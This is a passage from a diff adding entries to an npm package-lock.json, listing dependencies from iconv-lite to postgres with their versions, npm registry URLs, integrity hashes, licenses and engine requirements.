6" + } + }, + "node_modules/iconv-lite": { + "version": "0.7.3", + "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.7.3.tgz", + "integrity": "sha512-IKXpvIzjnC9XTAUbVBcMfGS0EPaIXtW6v+zr+RRp+hqULEpo0owZax6wyRwPOJbWbzjYspQwusTsfVr0ifh4uQ==", + "license": "MIT", + "dependencies": { + "safer-buffer": ">= 2.1.2 < 3.0.0" + }, + "engines": { + "node": ">=0.10.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/ieee754": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/ieee754/-/ieee754-1.2.1.tgz", + "integrity": "sha512-dcyqhDvX1C46lXZcVqCpK+FtMRQVdIMN6/Df5js2zouUsqG7I6sFxitIC+7KYK29KdXOLHdu9zL4sFnoVQnqaA==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "BSD-3-Clause" + }, + "node_modules/inherits": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", + "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==", + "license": "ISC" + }, + "node_modules/internmap": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/internmap/-/internmap-2.0.3.tgz", + "integrity": "sha512-5Hh7Y1wQbvY5ooGgPbDaL5iYLAPzMTUrjMulskHLH6wnv/A+1q5rgEaiuqEjB+oxGXIVZs1FF+R/KPN3ZSQYYg==", + "devOptional": true, + "license": "ISC", + "engines": { + "node": ">=12" + } + }, + "node_modules/intl-messageformat": { + "version": "10.7.18", + "resolved": "https://registry.npmjs.org/intl-messageformat/-/intl-messageformat-10.7.18.tgz", + "integrity": "sha512-m3Ofv/X/tV8Y3tHXLohcuVuhWKo7BBq62cqY15etqmLxg2DZ34AGGgQDeR+SCta2+zICb1NX83af0GJmbQ1++g==", + "license": "BSD-3-Clause", + "dependencies": { + "@formatjs/ecma402-abstract": "2.3.6", + "@formatjs/fast-memoize": "2.2.7", + "@formatjs/icu-messageformat-parser": "2.11.4", + "tslib": "^2.8.0" + } + }, + "node_modules/ipaddr.js": { + "version": "1.9.1", + "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-1.9.1.tgz", + "integrity": "sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g==", + "license": "MIT", + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/is-promise": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/is-promise/-/is-promise-4.0.0.tgz", + "integrity": "sha512-hvpoI6korhJMnej285dSg6nu1+e6uxs7zG3BYAm5byqDsgJNWwxzM6z6iZiAgQR4TJ30JmBTOwqZUw3WlyH3AQ==", + "license": "MIT" + }, + "node_modules/is-property": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/is-property/-/is-property-1.0.2.tgz", + "integrity": "sha512-Ks/IoX00TtClbGQr4TWXemAnktAQvYB7HzcCxDGqEZU6oCmb2INHuOoKxbtR+HFkmYWBKv/dOZtGRiAjDhj92g==", + "devOptional": true, + "license": "MIT" + }, + "node_modules/is-retry-allowed": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-retry-allowed/-/is-retry-allowed-3.0.0.tgz", + "integrity": "sha512-9xH0xvoggby+u0uGF7cZXdrutWiBiaFG8ZT4YFPXL8NzkyAwX3AKGLeFQLvzDpM430+nDFBZ1LHkie/8ocL06A==", + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/isexe": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz", + "integrity": "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==", + "devOptional": true, + "license": "ISC" + }, + "node_modules/jiti": { + "version": "2.7.0", + "resolved": "https://registry.npmjs.org/jiti/-/jiti-2.7.0.tgz", + "integrity": "sha512-AC/7JofJvZGrrneWNaEnJeOLUx+JlGt7tNa0wZiRPT4MY1wmfKjt2+6O2p2uz2+skll8OZZmJMNqeke7kKbNgQ==", + "devOptional": true, + "license": "MIT", + "bin": { + "jiti": "lib/jiti-cli.mjs" + } + }, + "node_modules/json-schema-traverse": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", + "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==", + "devOptional": true, + "license": "MIT" + }, + "node_modules/jsonwebtoken": { + "version": "9.0.3", + "resolved": "https://registry.npmjs.org/jsonwebtoken/-/jsonwebtoken-9.0.3.tgz", + "integrity": "sha512-MT/xP0CrubFRNLNKvxJ2BYfy53Zkm++5bX9dtuPbqAeQpTVe0MQTFhao8+Cp//EmJp244xt6Drw/GVEGCUj40g==", + "license": "MIT", + "dependencies": { + "jws": "^4.0.1", + "lodash.includes": "^4.3.0", + "lodash.isboolean": "^3.0.3", + "lodash.isinteger": "^4.0.4", + "lodash.isnumber": "^3.0.3", + "lodash.isplainobject": "^4.0.6", + "lodash.isstring": "^4.0.1", + "lodash.once": "^4.0.0", + "ms": "^2.1.1", + "semver": "^7.5.4" + }, + "engines": { + "node": ">=12", + "npm": ">=6" + } + }, + "node_modules/jwa": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/jwa/-/jwa-2.0.1.tgz", + "integrity": "sha512-hRF04fqJIP8Abbkq5NKGN0Bbr3JxlQ+qhZufXVr0DvujKy93ZCbXZMHDL4EOtodSbCWxOqR8MS1tXA5hwqCXDg==", + "license": "MIT", + "dependencies": { + "buffer-equal-constant-time": "^1.0.1", + "ecdsa-sig-formatter": "1.0.11", + "safe-buffer": "^5.0.1" + } + }, + "node_modules/jws": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/jws/-/jws-4.0.1.tgz", + "integrity": "sha512-EKI/M/yqPncGUUh44xz0PxSidXFr/+r0pA70+gIYhjv+et7yxM+s29Y+VGDkovRofQem0fs7Uvf4+YmAdyRduA==", + "license": "MIT", + "dependencies": { + "jwa": "^2.0.1", + "safe-buffer": "^5.0.1" + } + }, + "node_modules/lodash": { + "version": "4.18.1", + "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.18.1.tgz", + "integrity": "sha512-dMInicTPVE8d1e5otfwmmjlxkZoUpiVLwyeTdUsi/Caj/gfzzblBcCE5sRHV/AsjuCmxWrte2TNGSYuCeCq+0Q==", + "devOptional": true, + "license": "MIT" + }, + "node_modules/lodash.includes": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/lodash.includes/-/lodash.includes-4.3.0.tgz", + "integrity": "sha512-W3Bx6mdkRTGtlJISOvVD/lbqjTlPPUDTMnlXZFnVwi9NKJ6tiAk6LVdlhZMm17VZisqhKcgzpO5Wz91PCt5b0w==", + "license": "MIT" + }, + "node_modules/lodash.isboolean": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/lodash.isboolean/-/lodash.isboolean-3.0.3.tgz", + "integrity": "sha512-Bz5mupy2SVbPHURB98VAcw+aHh4vRV5IPNhILUCsOzRmsTmSQ17jIuqopAentWoehktxGd9e/hbIXq980/1QJg==", + "license": "MIT" + }, + "node_modules/lodash.isinteger": { + "version": "4.0.4", + "resolved": "https://registry.npmjs.org/lodash.isinteger/-/lodash.isinteger-4.0.4.tgz", + "integrity": "sha512-DBwtEWN2caHQ9/imiNeEA5ys1JoRtRfY3d7V9wkqtbycnAmTvRRmbHKDV4a0EYc678/dia0jrte4tjYwVBaZUA==", + "license": "MIT" + }, + "node_modules/lodash.isnumber": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/lodash.isnumber/-/lodash.isnumber-3.0.3.tgz", + "integrity": "sha512-QYqzpfwO3/CWf3XP+Z+tkQsfaLL/EnUlXWVkIk5FUPc4sBdTehEqZONuyRt2P67PXAk+NXmTBcc97zw9t1FQrw==", + "license": "MIT" + }, + "node_modules/lodash.isplainobject": { + "version": "4.0.6", + "resolved": "https://registry.npmjs.org/lodash.isplainobject/-/lodash.isplainobject-4.0.6.tgz", + "integrity": "sha512-oSXzaWypCMHkPC3NvBEaPHf0KsA5mvPrOPgQWDsbg8n7orZ290M0BmC/jgRZ4vcJ6DTAhjrsSYgdsW/F+MFOBA==", + "license": "MIT" + }, + "node_modules/lodash.isstring": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/lodash.isstring/-/lodash.isstring-4.0.1.tgz", + "integrity": "sha512-0wJxfxH1wgO3GrbuP+dTTk7op+6L41QCXbGINEmD+ny/G/eCqGzxyCsh7159S+mgDDcoarnBw6PC1PS5+wUGgw==", + "license": "MIT" + }, + "node_modules/lodash.once": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/lodash.once/-/lodash.once-4.1.1.tgz", + "integrity": "sha512-Sb487aTOCr9drQVL8pIxOzVhafOjZN9UU54hiN8PU3uAiSV7lx1yYNpbNmex2PK6dSJoNTSJUUswT651yww3Mg==", + "license": "MIT" + }, + "node_modules/long": { + "version": "5.3.2", + "resolved": "https://registry.npmjs.org/long/-/long-5.3.2.tgz", + "integrity": "sha512-mNAgZ1GmyNhD7AuqnTG3/VQ26o760+ZYBPKjPvugO8+nLbYfX6TVpJPseBvopbdY+qpZ/lKUnmEc1LeZYS3QAA==", + "devOptional": true, + "license": "Apache-2.0" + }, + "node_modules/lru.min": { + "version": "1.1.5", + "resolved": "https://registry.npmjs.org/lru.min/-/lru.min-1.1.5.tgz", + "integrity": "sha512-5J9ysMYUpYIg9RF2vJpy9SinEmSviFSe0GyPpCQ4L5QSkLAgeLXlTAOu2ZwWUU5m+0SBl6gUU1R1ZQB3aKypfA==", + "devOptional": true, + "license": "MIT", + "engines": { + "bun": ">=1.0.0", + "deno": ">=1.30.0", + "node": ">=8.0.0" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wellwelwel" + } + }, + "node_modules/magic-string": { + "version": "0.30.21", + "resolved": "https://registry.npmjs.org/magic-string/-/magic-string-0.30.21.tgz", + "integrity": "sha512-vd2F4YUyEXKGcLHoq+TEyCjxueSeHnFxyyjNp80yg0XV4vUhnDer/lvvlqM/arB5bXQN5K2/3oinyCRyx8T2CQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jridgewell/sourcemap-codec": "^1.5.5" + } + }, + "node_modules/math-intrinsics": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/math-intrinsics/-/math-intrinsics-1.1.0.tgz", + "integrity": "sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/media-typer": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/media-typer/-/media-typer-1.1.1.tgz", + "integrity": "sha512-yz3xRaG20c6/BOzvYoDaGtPmGscs7YivItZEEqe6GbwNfHuxu9YNmvnEkMzKldAGY4/80pRcQRZSEnhquk9XuQ==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/merge-descriptors": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/merge-descriptors/-/merge-descriptors-2.0.0.tgz", + "integrity": "sha512-Snk314V5ayFLhp3fkUREub6WtjBfPdCPY1Ln8/8munuLuiYhsABgBVWsozAG+MWMbVEvcdcpbi9R7ww22l9Q3g==", + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/methods": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/methods/-/methods-1.1.2.tgz", + "integrity": "sha512-iclAHeNqNm68zFtnZ0e+1L2yUIdvzNoauKU4WBA3VvH/vPFieF7qfRlwUZU+DA9P9bPXIS90ulxoUoCH23sV2w==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/mime": { + "version": "2.6.0", + "resolved": "https://registry.npmjs.org/mime/-/mime-2.6.0.tgz", + "integrity": "sha512-USPkMeET31rOMiarsBNIHZKLGgvKc/LrjofAnBlOttf5ajRvqiRA8QsenbcooctK6d6Ts6aqZXBA+XbkKthiQg==", + "dev": true, + "license": "MIT", + "bin": { + "mime": "cli.js" + }, + "engines": { + "node": ">=4.0.0" + } + }, + "node_modules/mime-db": { + "version": "1.54.0", + "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.54.0.tgz", + "integrity": "sha512-aU5EJuIN2WDemCcAp2vFBfp/m4EAhWJnUNSSw0ixs7/kXbd6Pg64EmwJkNdFhB8aWt1sH2CTXrLxo/iAGV3oPQ==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/mime-types": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-3.0.2.tgz", + "integrity": "sha512-Lbgzdk0h4juoQ9fCKXW4by0UJqj+nOOrI9MJ1sSj4nI8aI2eo1qmvQEie4VD1glsS250n15LsWsYtCugiStS5A==", + "license": "MIT", + "dependencies": { + "mime-db": "^1.54.0" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/ms": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", + "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", + "license": "MIT" + }, + "node_modules/mysql2": { + "version": "3.24.4", + "resolved": "https://registry.npmjs.org/mysql2/-/mysql2-3.24.4.tgz", + "integrity": "sha512-A2olluVlj0mvgyIRRISMEzXc51m+21mRtcMVjJyIpt2GG98+XrC9m9HzsqcMsX2LcnfccJvY5NB22g8fENBnOA==", + "devOptional": true, + "license": "MIT", + "dependencies": { + "aws-ssl-profiles": "^1.1.2", + "generate-function": "^2.3.1", + "iconv-lite": "^0.7.3", + "long": "^5.3.2", + "lru.min": "^1.1.4", + "named-placeholders": "^1.1.6", + "sql-escaper": "^1.5.1" + }, + "engines": { + "node": ">= 8.0" + }, + "peerDependencies": { + "@types/node": ">= 8" + } + }, + "node_modules/named-placeholders": { + "version": "1.1.6", + "resolved": "https://registry.npmjs.org/named-placeholders/-/named-placeholders-1.1.6.tgz", + "integrity": "sha512-Tz09sEL2EEuv5fFowm419c1+a/jSMiBjI9gHxVLrVdbUkkNUUfjsVYs9pVZu5oCon/kmRh9TfLEObFtkVxmY0w==", + "devOptional": true, + "license": "MIT", + "dependencies": { + "lru.min": "^1.1.0" + }, + "engines": { + "node": ">=8.0.0" + } + }, + "node_modules/nanoid": { + "version": "3.3.19", + "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.19.tgz", + "integrity": "sha512-Y2tUNy4ouw6tq5oDSKeQYGOyhkUBhNOcGV/02KC+6kd9eDGqdZd++mjMiIDilrBYvjEnCYvVtsuHCuP+okSfug==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "bin": { + "nanoid": "bin/nanoid.cjs" + }, + "engines": { + "node": "^10 || ^12 || ^13.7 || ^14 || >=15.0.1" + } + }, + "node_modules/negotiator": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/negotiator/-/negotiator-1.1.0.tgz", + "integrity": "sha512-NMPBRMJgiQHjbd8phG3Vebdx4kZ1H121rbl5IkMqeOsahptB9BKo/d7oJ3zTXqTgagn2bWlNSXkh0QUGM31RYg==", + "license": "MIT", + "dependencies": { + "content-type": "^2.1.0" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/negotiator/node_modules/content-type": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/content-type/-/content-type-2.1.0.tgz", + "integrity": "sha512-mj7UPXE0jaqaOsukNZRUEfEi2AcL7C/vwmwcHV0O97eO1E1pxBZuyjlZrx5seTaNBg1U6+o35wpa35Qfcc+7ag==", + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/object-assign": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz", + "integrity": "sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg==", + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/object-inspect": { + "version": "1.13.4", + "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.13.4.tgz", + "integrity": "sha512-W67iLl4J2EXEGTbfeHCffrjDfitvLANg0UlX3wFUUSTx92KXRFegMHUVgSqE+wvhAbi4WqjGg9czysTV2Epbew==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/obug": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/obug/-/obug-2.2.1.tgz", + "integrity": "sha512-XrsrhT5sybtKI6wakr2SPOlGZWWYbUXZ7a0jT8/QOeAPau+1X/bSegNe5YR75oJmEZQbKningirmGOEJCIk61Q==", + "dev": true, + "funding": [ + "https://github.com/sponsors/sxzz", + "https://opencollective.com/debug" + ], + "license": "MIT", + "engines": { + "node": ">=12.20.0" + } + }, + "node_modules/ohash": { + "version": "2.0.12", + "resolved": "https://registry.npmjs.org/ohash/-/ohash-2.0.12.tgz", + "integrity": "sha512-65S/5gk9YSsaRjcyf7Nfa6h/d3E8/1gslpXfI4W7Dxn/oap8IKRuNT5VXkLQ1YFKIEg4apRY4Pj6aiwFzrDdmw==", + "devOptional": true, + "license": "MIT" + }, + "node_modules/on-exit-leak-free": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/on-exit-leak-free/-/on-exit-leak-free-2.1.2.tgz", + "integrity": "sha512-0eJJY6hXLGf1udHwfNftBqH+g73EU4B504nZeKpz1sYRKafAghwxEJunB2O7rDZkL4PGfsMVnTXZ2EjibbqcsA==", + "license": "MIT", + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/on-finished": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/on-finished/-/on-finished-2.4.1.tgz", + "integrity": "sha512-oVlzkg3ENAhCk2zdv7IJwd/QUD4z2RxRwpkcGY8psCVcCYZNq4wYnVWALHM+brtuJjePWiYF/ClmuDr8Ch5+kg==", + "license": "MIT", + "dependencies": { + "ee-first": "1.1.1" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/once": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz", + "integrity": "sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==", + "license": "ISC", + "dependencies": { + "wrappy": "1" + } + }, + "node_modules/parseurl": { + "version": "1.3.3", + "resolved": "https://registry.npmjs.org/parseurl/-/parseurl-1.3.3.tgz", + "integrity": "sha512-CiyeOxFT/JZyN5m0z9PfXw4SCBJ6Sygz1Dpl0wqjlhDEGGBP1GnsUVEL0p63hoG1fcj3fHynXi9NYO4nWOL+qQ==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/path-key": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz", + "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==", + "devOptional": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/path-to-regexp": { + "version": "8.4.2", + "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-8.4.2.tgz", + "integrity": "sha512-qRcuIdP69NPm4qbACK+aDogI5CBDMi1jKe0ry5rSQJz8JVLsC7jV8XpiJjGRLLol3N+R5ihGYcrPLTno6pAdBA==", + "license": "MIT", + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/pathe": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/pathe/-/pathe-2.0.3.tgz", + "integrity": "sha512-WUjGcAqP1gQacoQe+OBJsFA7Ld4DyXuUIjZ5cc75cLHvJ7dtNsTugphxIADwspS+AraAUePCKrSVtPLFj/F88w==", + "devOptional": true, + "license": "MIT" + }, + "node_modules/perfect-debounce": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/perfect-debounce/-/perfect-debounce-2.1.0.tgz", + "integrity": "sha512-LjgdTytVFXeUgtHZr9WYViYSM/g8MkcTPYDlPa3cDqMirHjKiSZPYd6DoL7pK8AJQr+uWkQvCjHNdiMqsrJs+g==", + "devOptional": true, + "license": "MIT" + }, + "node_modules/pg": { + "version": "8.23.1", + "resolved": "https://registry.npmjs.org/pg/-/pg-8.23.1.tgz", + "integrity": "sha512-aL96AHANtWjPLDOLqnhx+ngp9+UK7ETEU8VJrDCGvsSSi/mGLcWYsS6Herg7lmaBJe4uwrfqsa7gTEFaSizDoQ==", + "license": "MIT", + "dependencies": { + "pg-connection-string": "^2.14.1", + "pg-pool": "^3.14.0", + "pg-protocol": "^1.16.1", + "pg-types": "2.2.0", + "pgpass": "1.0.5" + }, + "engines": { + "node": ">= 16.0.0" + }, + "optionalDependencies": { + "pg-cloudflare": "^1.4.1" + }, + "peerDependencies": { + "pg-native": ">=3.0.1" + }, + "peerDependenciesMeta": { + "pg-native": { + "optional": true + } + } + }, + "node_modules/pg-cloudflare": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/pg-cloudflare/-/pg-cloudflare-1.4.1.tgz", + "integrity": "sha512-6PQbsFWZcp9EmJEwy5cGQ2La+AMWpP46lgbb8X+U/XsHIUweYDNCpeuKck5RxL2MdVFi7krbbEi5nX4Zh7JhrQ==", + "license": "MIT", + "optional": true + }, + "node_modules/pg-connection-string": { + "version": "2.14.1", + "resolved": "https://registry.npmjs.org/pg-connection-string/-/pg-connection-string-2.14.1.tgz", + "integrity": "sha512-qR3kGNPBLpCNtz0evbKA0Y/MRFXwSSdT+pTJvYp/bXTcReZbvX1kzF0IyTc1QnxqF7AZbOeBhNL8R5mYQZV/MA==", + "license": "MIT" + }, + "node_modules/pg-int8": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/pg-int8/-/pg-int8-1.0.1.tgz", + "integrity": "sha512-WCtabS6t3c8SkpDBUlb1kjOs7l66xsGdKpIPZsg4wR+B3+u9UAum2odSsF9tnvxg80h4ZxLWMy4pRjOsFIqQpw==", + "license": "ISC", + "engines": { + "node": ">=4.0.0" + } + }, + "node_modules/pg-pool": { + "version": "3.14.0", + "resolved": "https://registry.npmjs.org/pg-pool/-/pg-pool-3.14.0.tgz", + "integrity": "sha512-gKtPkFdQPU3DksooVLi9LsjZxrsBUZIpa+7aVx+LV5pNh0KzP4Zleud2po+ConrxbuXGBJ6Hfer6hdgpIBpBaw==", + "license": "MIT", + "peerDependencies": { + "pg": ">=8.0" + } + }, + "node_modules/pg-protocol": { + "version": "1.16.1", + "resolved": "https://registry.npmjs.org/pg-protocol/-/pg-protocol-1.16.1.tgz", + "integrity": "sha512-p9VOFMiHB/ZbJATetbg+99PxssTVSQRnyuPSQ67mN1+1KBOjZaZ83ZQzltnxPhJwSsC3nwVjJ10DVJlerbFzLg==", + "license": "MIT" + }, + "node_modules/pg-types": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/pg-types/-/pg-types-2.2.0.tgz", + "integrity": "sha512-qTAAlrEsl8s4OiEQY69wDvcMIdQN6wdz5ojQiOy6YRMuynxenON0O5oCpJI6lshc6scgAY8qvJ2On/p+CXY0GA==", + "license": "MIT", + "dependencies": { + "pg-int8": "1.0.1", + "postgres-array": "~2.0.0", + "postgres-bytea": "~1.0.0", + "postgres-date": "~1.0.4", + "postgres-interval": "^1.1.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/pgpass": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/pgpass/-/pgpass-1.0.5.tgz", + "integrity": "sha512-FdW9r/jQZhSeohs1Z3sI1yxFQNFvMcnmfuj4WBMUTxOrAyLMaTcE1aAMBiTlbMNaXvBCQuVi0R7hd8udDSP7ug==", + "license": "MIT", + "dependencies": { + "split2": "^4.1.0" + } + }, + "node_modules/picocolors": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.1.1.tgz", + "integrity": "sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==", + "dev": true, + "license": "ISC" + }, + "node_modules/picomatch": { + "version": "4.0.7", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.7.tgz", + "integrity": "sha512-qcJu88Q2IWqJsDD529JKMdwGm/dvInW4HvQnRwiH9JtihJvzGOscDtHE3x1pBKeUOTysQ8kVmLnJ2kJu7yhcGA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/jonschlinkert" + } + }, + "node_modules/pino": { + "version": "9.14.0", + "resolved": "https://registry.npmjs.org/pino/-/pino-9.14.0.tgz", + "integrity": "sha512-8OEwKp5juEvb/MjpIc4hjqfgCNysrS94RIOMXYvpYCdm/jglrKEiAYmiumbmGhCvs+IcInsphYDFwqrjr7398w==", + "license": "MIT", + "dependencies": { + "@pinojs/redact": "^0.4.0", + "atomic-sleep": "^1.0.0", + "on-exit-leak-free": "^2.1.0", + "pino-abstract-transport": "^2.0.0", + "pino-std-serializers": "^7.0.0", + "process-warning": "^5.0.0", + "quick-format-unescaped": "^4.0.3", + "real-require": "^0.2.0", + "safe-stable-stringify": "^2.3.1", + "sonic-boom": "^4.0.1", + "thread-stream": "^3.0.0" + }, + "bin": { + "pino": "bin.js" + } + }, + "node_modules/pino-abstract-transport": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/pino-abstract-transport/-/pino-abstract-transport-2.0.0.tgz", + "integrity": "sha512-F63x5tizV6WCh4R6RHyi2Ml+M70DNRXt/+HANowMflpgGFMAym/VKm6G7ZOQRjqN7XbGxK1Lg9t6ZrtzOaivMw==", + "license": "MIT", + "dependencies": { + "split2": "^4.0.0" + } + }, + "node_modules/pino-std-serializers": { + "version": "7.1.0", + "resolved": "https://registry.npmjs.org/pino-std-serializers/-/pino-std-serializers-7.1.0.tgz", + "integrity": "sha512-BndPH67/JxGExRgiX1dX0w1FvZck5Wa4aal9198SrRhZjH3GxKQUKIBnYJTdj2HDN3UQAS06HlfcSbQj2OHmaw==", + "license": "MIT" + }, + "node_modules/pkg-types": { + "version": "2.3.3", + "resolved": "https://registry.npmjs.org/pkg-types/-/pkg-types-2.3.3.tgz", + "integrity": "sha512-j/lCFdcppV0JxWpCEITdbDltBxPP6cHT+yNJ6Go2OgoSA9518X847X9z0p6LtA4Nc16+eQzCZjRrWanTGvHJ5w==", + "devOptional": true, + "license": "MIT", + "dependencies": { + "confbox": "^0.3.1", + "exsolve": "^1.1.1", + "pathe": "^2.0.3" + } + }, + "node_modules/pkg-types/node_modules/confbox": { + "version": "0.3.1", + "resolved": "https://registry.npmjs.org/confbox/-/confbox-0.3.1.tgz", + "integrity": "sha512-cKUSoKa8YxFZZSmraVi7onONx3amu77ngK3kGpsYHDH7drPwCRkQE1RYMPlLRrMtnciRj274XNRxcHxnKmDSnA==", + "devOptional": true, + "license": "MIT" + }, + "node_modules/postcss": { + "version": "8.5.28", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.5.28.tgz", + "integrity": "sha512-RRuzqDtt5Y9h3quz5hWhK+TPnsmVs6WwSU6LkJMeY4HstUEDuYTG8UJSdawMRzmzAtV+KEoG8N3Qg2qLy5vM/A==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/postcss/" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/postcss" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "dependencies": { + "nanoid": "^3.3.18", + "picocolors": "^1.1.1", + "source-map-js": "^1.2.1" + }, + "engines": { + "node": "^10 || ^12 || >=14" + } + }, + "node_modules/postgres": { + "version": "3.4.7", + "resolved": "https://registry.npmjs.org/postgres/-/postgres-3.4.7.tgz", + "integrity": "sha512-Jtc2612XINuBjIl/QTWsV5UvE8UHuNblcO3vVADSrKsrc6RqGX6lOW1cEo3CM2v0XG4Nat8nI+YM7/f26VxXLw==", + "devOptional": true, + "license": "Unlicense", + "engines": { + "node": ">=12" + }, + "funding": { + "type": "individual", + "url": "https://github.com/sponsors/porsager" + } + }, + "node_modules/postgres-array": { + "version": "2.0.0", + "resolved": 